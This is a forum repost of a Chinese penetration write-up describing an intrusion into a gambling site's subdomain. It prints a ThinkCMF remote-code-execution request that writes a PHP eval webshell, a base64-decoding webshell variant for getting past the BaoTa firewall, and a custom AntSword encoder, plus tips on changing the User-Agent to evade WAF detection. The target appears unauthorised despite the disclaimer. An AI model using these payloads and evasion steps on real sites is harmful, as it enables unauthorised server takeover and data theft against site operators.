安全矩阵

 找回密码
 立即注册
搜索
查看: 2066|回复: 0

记一次绕过宝塔防火墙的BC站渗透

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-10 18:11:10 | 显示全部楼层 |阅读模式
记一次绕过宝塔防火墙的BC站渗透pureqh 潇湘信安 今天
收录于话题
#实战案例40
#防护绕过21
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

文章来源:先知社区
原文地址:https://xz.aliyun.com/t/9425

0x01 信息搜集
由于主站存在云waf,一测就封,且初步测试不存在能用得上的洞,所以转战分站,希望能通过分站获得有价值的信息


这是一个查询代理帐号的站,url输入admin自动跳转至后台,看这个参数猜测可能是thinkCMF


0x02 getshell
thinkcmf正好有一个RCE,可以尝试一下

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test1.php','<?php @eval($_POST[zero])?>')</php>


白屏是个好兆头,应该是成功了,访问一下


尝试蚁剑连接,直接报错,猜测可能遇到防火墙了


然后再回来看一下shell,手动尝试一个phpinfo,果然存在宝塔防火墙


0x03 绕过宝塔防火墙
宝塔应该对部分函数进行了过滤,所以直接传递payload肯定是不行的,所以我们需要对流量进行混淆加密。

尝试将所有的payload Base64编码传输,既然传过去的是编码后的Base64,小马也应该相应做出改变,只需解密一次传递过来的base64即可。

<?php @eval(base64_decode($_POST[zero]));?>

将phpinfo();base64编码为:cGhwaW5mbygpOw==,发送,可见宝塔防火墙没再拦截,已经成功绕过宝塔防火墙


0x04 改造蚁剑
我们用到的是Base64编码,但是蚁剑其实是自带Base64编码解码器的,尝试直接使用自带的Base64编码器


为什么会这样呢?我们尝试从蚁剑的流量分析,设置代理到burp


拦截流量,我们可以看到明显有两个地方容易被waf识别。


1. User-Agent头的关键字:antSword/v2.1 这相当于直接告诉waf我是谁了, 所以这是第一个要更改的点。

2. 蚁剑的流量其实还是有关键字的,比如cmd参数后的eval、base64_decode都是,而且我们的小马自带Base64解密,所以用它的默认编码器不仅过不去waf,即使没waf也不能正常连接我们的小马,所以需要自己定义编码器。


由于我们只需要将payload Base64编码一次即可,所以直接将data['_']Base64处理赋值即可,随机参数有没有无所谓的,编码器如下:
  1. 'use strict';

  2. /*
  3. * @param  {String} pwd   连接密码
  4. * @param  {Array}  data  编码器处理前的 payload 数组
  5. * @return {Array}  data  编码器处理后的 payload 数组
  6. */
  7. module.exports = (pwd, data, ext={}) => {

  8.   data[pwd] = Buffer.from(data['_']).toString('base64');

  9.   delete data['_'];

  10.   return data;
  11. }
复制代码
然后修改UA头


应用我们的编码器,解码器不需要指定,默认即可,建议选择:增加垃圾数据和Multipart发包,再次测试连接




然后点击目录发现依然存在问题,不能跨目录,这个问题其实哥斯拉可以解决,上传哥斯拉马

这里可能有人会问了,那你直接上传哥斯拉马不就行了吗?实际情况是get传参有长度限制,而且有的符号会导致截断php文件无法上传完整


网站有挺多,但是很可惜没有主站,数据库里只有一堆代理帐号,浪费时间了。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:36 , Processed in 0.012894 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表